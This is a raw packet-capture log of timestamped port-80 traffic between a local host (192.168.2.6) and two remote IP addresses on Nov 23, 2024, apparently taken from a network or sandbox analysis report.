Nov 23, 2024 13:28:31.250437975 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.250508070 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.251341105 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.251460075 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.251526117 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.252401114 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.252454042 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.252484083 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.252532959 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.253385067 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.253444910 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.253484964 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.253537893 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.254781961 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.254837036 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.254851103 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.254900932 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.255471945 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.255522966 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.255563974 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.255626917 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.256479025 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.256535053 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.256581068 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.256630898 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.257503986 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.257553101 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.257617950 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.257659912 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.258522987 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.258574009 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.258637905 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.258687019 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.259572029 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.259623051 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.259666920 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.259716034 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.260641098 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.260691881 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.260709047 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.260757923 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.261634111 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.261692047 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.261729002 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.261775017 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.262631893 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.262676954 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.262738943 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.262785912 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.263623953 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.263673067 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.272367001 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.272521973 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.272645950 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:31.273938894 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.311224937 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.311281919 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:31.311469078 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.312952995 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.312975883 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.313019037 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:31.351026058 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.351056099 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.351099014 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:31.353713989 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.353764057 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.353773117 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:31.354671955 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.354720116 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:31.354799032 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.357769966 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.357810974 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:31.393769026 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.393824100 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.394035101 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:31.411160946 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.411206007 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.411401987 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.411505938 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.411567926 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.411736012 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.411811113 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.411870003 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.412781000 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.412899017 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.412966013 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.413893938 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.414030075 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.414100885 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.414870977 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.414925098 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.414937973 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.415858030 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.415966034 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.415992975 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.416044950 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.416898012 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.417035103 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.417097092 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.417912006 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.418020010 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.418083906 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.418951988 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.419014931 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.419054985 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.419960976 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.420027971 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.420068026 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.421068907 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.421130896 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.421170950 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.421224117 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.422324896 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.422364950 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.422431946 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.423113108 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.423186064 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.423247099 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.424123049 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.424206972 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.424264908 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.425090075 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.425153971 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.425246000 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.425870895 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.426136017 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.426188946 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.426227093 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.426276922 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.427145004 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.427201033 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.427239895 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.427300930 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.428203106 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.428258896 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.428325891 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.428371906 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.429235935 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.429290056 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.429330111 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.429383039 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.430233002 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.430279016 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.430334091 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.431272030 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.431349039 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.431387901 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.431438923 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.432323933 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.432341099 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.432372093 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.432404995 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.433309078 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.433358908 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.433473110 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.433521032 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.434396029 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.434447050 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.434453011 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.434501886 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.435380936 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.435435057 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.435436010 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.435471058 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.436408043 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.436458111 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.436520100 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.436567068 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.437433004 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.437483072 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.437529087 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.437572002 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.438119888 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.438195944 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.438322067 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:31.438452005 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.438497066 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.438553095 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.438604116 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.439488888 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.439549923 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.439582109 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.439626932 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.439764977 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.439877033 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.440519094 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.440547943 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:31.440579891 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.440623999 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.440675020 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.441540003 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.441592932 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.441647053 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.441696882 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.442584991 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.442651033 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.442691088 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.442831039 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.443039894 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.443598032 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.443651915 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.443697929 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.443752050 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.444051027 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.444093943 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:31.444183111 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.444675922 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.444725037 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.444744110 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.444924116 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.445662975 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.445712090 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.445784092 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.445909977 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.446749926 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.446801901 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.446841002 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.447302103 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.447350025 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.447724104 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.447752953 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:31.447778940 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.447896004 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.448729038 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.448781013 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.448824883 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.448955059 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.449748993 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.449799061 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.449924946 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.449974060 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.450828075 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.450875044 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.451004028 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.451144934 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.451929092 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.451998949 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.452039003 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.452092886 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.453013897 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.453095913 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.453135014 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.453178883 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.453872919 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.453972101 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.454026937 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.454937935 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.454991102 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.455002069 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.455144882 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.455936909 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.455995083 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.456039906 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.456089020 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.456935883 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.456998110 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.457036972 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.457094908 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.457981110 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.458033085 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.458072901 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.458113909 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.459021091 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.459070921 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.459136963 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.459183931 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.460026026 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.460073948 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.460163116 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.460211039 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.461065054 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.461144924 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.461195946 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.462075949 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.462179899 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.462234974 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.463140011 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.463238955 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.463294983 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.464170933 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.464189053 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.464241982 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.479435921 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.479454041 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.479692936 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:31.480858088 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.480911970 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.480947018 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:31.482542038 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.483055115 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.483175039 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.483210087 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:31.486345053 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.486447096 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:31.533798933 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.533894062 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.533938885 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:31.535439014 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.565138102 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.565186024 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:31.565252066 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.567006111 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.567023993 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.567049026 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:31.603872061 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.603915930 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:31.603967905 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.607474089 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.607522011 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:31.607561111 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.609111071 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.609149933 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:31.609175920 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.612576962 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.612705946 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.612772942 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.613121033 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.613274097 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.613328934 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.614132881 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.614228010 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.614269972 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.614866018 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.615214109 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.615272999 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.615324974 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.615375996 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.616199017 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.616260052 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.616352081 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.616398096 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.617208004 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.617316961 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.617362976 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.617362976 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.618232012 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.618302107 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.618341923 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.618407011 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.619281054 CET	80	49777	185.215.113.16	192.168.2.6
